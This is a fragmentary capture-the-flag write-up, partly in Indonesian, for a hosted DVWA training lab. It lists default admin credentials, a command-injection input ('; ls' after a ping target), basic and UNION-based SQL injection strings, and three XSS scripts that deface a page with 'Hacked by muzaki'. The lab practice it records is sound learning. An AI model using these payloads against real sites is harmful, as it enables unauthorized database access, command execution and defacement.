write up ctf by ariafatah
URL: https://dvwa.al3xzer0.cfd/login.php Writeup Referensi: infosecwriteups.com Credentials:
Username: admin
Password: password
admin
), Payload 2: list password.Welcome to the password protected area
).Contoh Input:
8.8.8.8
8.8.8.8; ls
Keterangan:
Perintah kedua akan melakukan injection dan menjalankan ls
setelah ping ke 8.8.8.8.
Basic SQL Injection:
' OR 1 = 1 #
Advanced (Union-based) SQL Injection:
' UNION SELECT user, password FROM users #
<script> document.body.innerHTML = ` <div style="height:100vh;background:black;color:lime;display:flex;justify-content:center;align-items:center;flex-direction:column;"> <h1 style="font-size:3em;">Hacked by muzaki</h1> <p style="font-size:1.5em;">This page was defaced using XSS</p> </div> `; </script>
<script>
const defaceDiv = document.createElement("div");
defaceDiv.style = "height:100vh;background:black;color:lime;display:flex;justify-content:center;align-items:center;flex-direction:column;margin-top:20px;";
defaceDiv.innerHTML = `
<h1 style="font-size:3em;">Hacked by muzaki</h1>
<p style="font-size:1.5em;">This page was defaced using XSS</p>
`;
document.body.appendChild(defaceDiv);
</script>
<script>
document.body.innerHTML+=`<div style="height:100vh;background:black;color:lime;display:flex;justify-content:center;align-items:center;flex-direction:column;margin-top:20px;"><h1>Hacked by muzaki</h1><p>This page was defaced</p></div>`;
</script>
Your new password is: Olifant